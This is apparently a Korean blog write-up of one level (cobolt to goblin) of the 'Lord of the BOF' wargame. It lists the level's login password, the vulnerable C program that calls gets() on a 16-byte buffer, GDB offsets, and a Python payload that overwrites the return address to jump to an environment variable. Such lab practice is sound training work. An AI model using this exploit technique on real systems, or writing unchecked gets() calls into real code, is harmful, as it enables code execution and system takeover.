SH1R0_HACKER
3. cobolt -> goblin 본문
login : cobolt
password : hacking exposed
[ gobolt.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
이것도 buffer 공간이 16byte로 적으니깐 환경변수써서 날리면 될거같다.
한번 해보자.
[ GDB 분석 ]
buffer와 ret거리 : 20byte
환경변수 주소 : 0xbffffc92
페이로드
(python -c 'print "\x90"*20+"\x92\xfc\xff\xbf"'; cat) | ./goblin
cobolt 문제와 마찬가지로 쉽게 풀 수 있었다.
페이로드에 cat을 붙이는 이유
'System > The Lord of BOF' 카테고리의 다른 글
6. wolfman -> darkelf (0) | 2020.10.24 |
---|---|
5. orc -> wolfman (0) | 2020.10.22 |
4. goblin -> orc (0) | 2020.10.22 |
2. gremlin -> cobolt (0) | 2020.10.19 |
1. gate -> gremlin (0) | 2020.10.18 |